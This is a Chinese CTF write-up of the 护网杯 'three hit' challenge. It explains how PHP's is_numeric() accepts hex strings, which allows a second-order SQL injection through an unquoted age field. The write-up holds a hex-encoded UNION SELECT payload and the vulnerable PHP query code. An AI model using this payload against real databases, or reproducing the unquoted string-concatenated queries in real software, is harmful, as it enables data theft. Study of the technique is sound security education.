护网杯 three hit 复现(is_numeric引发的二次注入)
1.题目源码
https://github.com/ZhangAiQiang/three-hit
题目并不真的是当时源码,是我根据做法自己写的,虽然代码烂,但是还好能达到复现的目的
2.is_numeric()漏洞
is_numeric()检查是否是数字字符串,同时也可以是十六进制。
比如
is_numeric(1) true
is_numeric('a') false
is_numeric('2a') false
is_numeric(0xabcedf) true
3.注册账号
root,root,0x3078656520756E696F6E2073656C656374207573657228292C322C33
age是一串十六进制,是
0xee union select user(),2,3 的十六进制形式
因为is_numeric()的关系,同样可以写进去,那么会是什么格式呢
4.分析注册的时候的源码
$sql="insert into user values('$username',md5('$password'),$age)";
可以看到$age是没有单引号保护的,那我们看一下数据库中的数据

(这里先说下,age并不是int类型,因为是int类型的话,字符串根本插不上。)
我们明明是插入的十六进制数据,为什么会变成字符串呢?
执行一下sql:
insert into user values('root2',md5('root2'),0x3078656520756E696F6E2073656C656374207573657228292C322C33)
insert into user values('root3',md5('root3'),'0x3078656520756E696F6E2073656C656374207573657228292C322C33')

两者的区别在于,age是否有单引号的保护,我们看到,当少了单引号后,插入的十六进制数据变成了字符串,和题目的源码正好对应了起来。
5. 个人中心

可以看到,已经注入出来了user。
6.分析个人中心的源码
username是存储在session里面的,然后功能是先找出你当前用户的age,然后根据当前用户的age寻找其他的具有相同age的用户。
$sql = "SELECT * FROM user where username= '".$_SESSION['username']."'"; 这一句话查询出年龄,并没有什么危害。
$sql = "SELECT * FROM user where age=".$age;
这句话是二次注入的引发点,因为age我们是可控的,我们注册的root账号里面age内容是
0xee union select user(),2,3
拼接:select * from user where age=0xee union select user(),2,3
这样注入就分析完了。
7.总结:
age得为字符串类型
插入注册信息的时候age字段没有单引号保护
我感觉就拿这个题目来说的话,平时工作谁会写出这么蠢的代码。
护网杯 three hit 复现(is_numeric引发的二次注入)的更多相关文章
- [一道蓝鲸安全打卡Web分析] 文件上传引发的二次注入
蓝鲸打卡的一个 web 文件上传引发二次注入的题解和思考 蓝鲸文件管理系统 源代码地址:http://www.whaledu.com/course/290/task/2848/show 首先在设置文件 ...
- [原题复现]2018护网杯(WEB)easy_tornado(模板注入)
简介 原题复现: 考察知识点:模板注入 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 [护网杯 2018]eas ...
- 护网杯圆满结束,还不满足?不如来看看大佬的WP扩展思路~
护网杯预选赛 WP转载自:https://qingchenldl.github.io/2018/10/13/%E6%8A%A4%E7%BD%91%E6%9D%AFWP-BitPwn/#more WEB ...
- 2019护网杯baby_forensic
题目名称:baby_forensic题目描述:can you catch the flag?附件:“data.7z” 2019护网杯初赛的一道取证题,比赛时没做出来,赛后又研究了一下. 获取profi ...
- buu[护网杯 2018]easy_tornado
[护网杯 2018]easy_tornado 1.看看题目给了我们三个文件: /flag.txt url=?filename=/flag.txt&filehash=98c6aac4fbecf1 ...
- 2018护网杯-easy_laravel 复现
题目docker环境: https://github.com/sco4x0/huwangbei2018_easy_laravel git clone下来直接composer up -d 运行即可,可以 ...
- 强网杯2018 pwn复现
前言 本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录.题目真心不错 程序和 exp: https://gitee.com/hac425/blog_data/blob/m ...
- 护网杯2019 mergeheap --pwn
护网 又是签到 一天 这道题一开始 不懂得如何泄露 libc 信息,就蒙了 后来群里师傅也是刚刚好 做出 到这里 我就接着做了 . 先看下保护,发现 全开了 然后 就看下流程 大概 就是添加 c ...
- 2018护网杯easy_tornado(SSTI tornado render模板注入)
考点:SSTI注入 原理: tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且 ...
随机推荐
- Window下搭建foundation apps环境
Window下搭建foundation apps环境 框架:AngularJS.Foundation, 构建工具:Gulp, 开发环境:node.js. 操作系统:windows (一)环境准备 1 ...
- [LuoguP1111]修复公路
[LuoguP1111]修复公路 题目描述: A地区在地震过后,链接所有村庄的公路都损坏了,而导致无法通车,政府派人修复这些公路. 给出A地区的N村庄数和M公路数,并且对于每一个公路给出其链接的两个村 ...
- Android学习笔记_27_多媒体之视频刻录
一.配置文件: <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android= ...
- Spring知识点总结(二)之Spring IOC
1.创建bean类,并在spring中进行配置交由spring来管理1. IOC(DI) - 控制反转(依赖注入) 所谓的IOC称之为控制反转,简单来说就是将对象的创建的权利及对象的生命周期的管 ...
- center os 创建用户、设置密码、修改用户、删除用户命令
参考:https://www.linuxidc.com/Linux/2017-06/144916.htm useradd testuser 创建用户testuserpasswd testuser ...
- c#的二进制序列化组件MessagePack介绍
c#的序列化有多种,我一般喜欢用第三方组件,一个公共组件要拿出来用,而且支持很多语言,甚至以此谋生,肯定有其优势. 有或者说存在必然有其合理性,经过几年开发,我更加喜欢第三方的东西,类似序列化的东西. ...
- C++的句柄类
上一篇文件介绍了关于C++代理类的使用场景和实现方法,但是代理类存在一定的缺陷,就是每个代理类会创建一个新的对象,无法避免一些不必要的内存拷贝,本篇文章引入句柄类,在保持代理类多态性的同时,还可以避免 ...
- ABAP术语-Key Field
Key Field 原文:http://www.cnblogs.com/qiangsheng/archive/2008/02/28/1084421.html Field which is part o ...
- GUI小程序---理解GUI
package com.gui; import java.awt.*; import java.awt.event.KeyAdapter; import java.awt.event.KeyEvent ...
- linux中安装node
1.去官网下载和自己系统匹配的文件: 英文网址:https://nodejs.org/en/download/ 中文网址:http://nodejs.cn/download/ 通过 uname -a ...